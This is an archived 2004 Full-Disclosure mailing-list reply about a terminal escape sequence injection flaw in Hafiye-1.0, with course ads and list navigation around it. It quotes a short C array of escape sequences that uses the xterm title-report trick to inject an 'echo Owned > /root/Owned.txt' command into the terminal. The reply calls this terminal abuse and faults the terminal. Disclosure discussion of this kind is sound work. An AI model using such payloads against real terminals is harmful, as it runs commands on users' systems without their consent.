Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

[Full-Disclosure] Re: Hafiye-1.0 Terminal Escape Sequence Injection Vuln

from [Rodrigo Barbosa] Network Security [Permanent Link]
Subject: [Full-Disclosure] Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
Date: Tue, 24 Aug 2004 12:54:55 -0300 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:

char *esc_sequence[]= {"Escape Sequences",
                       "\x1b""]2;Insecure?""\x07\x0a",
                       "\x07\x07\x07\x07\x07\x07",
                       "\x1b""]2;;echo Owned > /root/Owned.txt"
                       "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                       "Abnormal Termination""\x1b"
                       "[8m;""\x0a"};


Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
I would blame this on the terminal, nor on the Hafiye software itself.

[]s

- -- 
Rodrigo Barbosa <rodrigob@suespammers.org>
"Quid quid Latine dictum sit, altum viditur"
"Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
Lg02GiczNMHvLbitgXLSc6c=
=qau0
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  [Full-Disclosure] ANNOUNCE: VulnDisco RADIUS protocol testsuite v1.0, Evgeny Demidov
Next by Date:  [Full-Disclosure] Limited buffer overflow in Painkiller 1.31, Luigi Auriemma
Previous by Thread:  [Full-Disclosure] Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability, Serkan Akpolat
Next by Thread:  [Full-Disclosure] Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability, Serkan Akpolat
Indexes:  [Date] [Thread] [Top] [All Lists]